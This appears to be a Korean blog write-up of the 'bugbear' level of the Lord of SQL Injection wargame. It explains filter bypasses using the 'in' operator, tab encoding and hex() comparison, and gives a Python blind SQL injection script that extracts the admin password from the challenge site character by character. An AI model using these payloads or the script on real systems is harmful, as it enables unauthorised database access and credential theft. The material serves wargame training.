필터링이 계속 추가된다. 그러나 모든 것에는 방법이 있을 것이다.
like 연산자를 사용할 수 없다는 점이 추가되었다.
'=' 을 우회하는 것에는 like 연산자와 in 연산자가 있다.
in 연산자는, A in ('B') 와 같은 방법으로 사용한다.
필터링하지는 않지만, 괄호도 필터링 해보자.
'(' - 0x28
')' - 0x29
또한 ord() 함수를 사용할 수 없다. or 문자열 필터링에 걸리기 때문에다.
그렇게 때문에 decimal 이 아닌 hexadecimal 로 비교하면 되겠다.
1 # For LOS exploitation
2 import requests
3
4 requests.packages.urllib3.disable_warnings()
5 org_url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
6 header = {'Cookie': 'PHPSESSID='}
7 session = requests.session()
8
9
10 # Check Length of PW
11 pass_length = 0
12
13 for i in range(0, 100):
14 payload = '?pw=ABCD&no=1234%09||%09id%09in%09%28"admin"%29%09%26%26%09length%28pw%29%09in%09%28' + str(i) + '%29'
15 res = session.get(url = org_url + payload, headers=header, verify=False)
16
17 if "Hello admin" in res.text:
18 pass_length = i
19 print("Length of PW is [ %d ]\n" % i)
20 break
21
22
23 # Brute Force
24 password = ''
25
26 for i in range(1, pass_length + 1):
27 for j in range(33, 122):
28 payload = '?pw=ABCD&no=1234%09||%09id%09in%09%28"admin"%29%09%26%26%09hex%28mid%28pw,' + str(i) + ',1%29%29%09in%09' + '%28hex%28' + str(j) + '%29%29'
29 res = session.get(url = org_url + payload, headers = header, verify=False)
30
31 if "Hello admin" in res.text:
32 password += chr(j)
33 print("Current PW is %s" % password)
34 break
35
36
37 # Result
38 print("\nRESULT")
39 print("-------------")
40 print("PW --> %s" % password)
'Web Hacking > LOS' 카테고리의 다른 글
Lord of SQL Injection - assassin (0) | 2021.08.18 |
---|---|
Lord of SQL Injection - giant (1) | 2021.08.16 |
Lord of SQL Injection(LOS) - darkknight (0) | 2021.08.16 |
Lord of SQL Injection(LOS) - golem (0) | 2021.08.07 |
Lord of SQL Injection(LOS) - skeleton (0) | 2021.08.07 |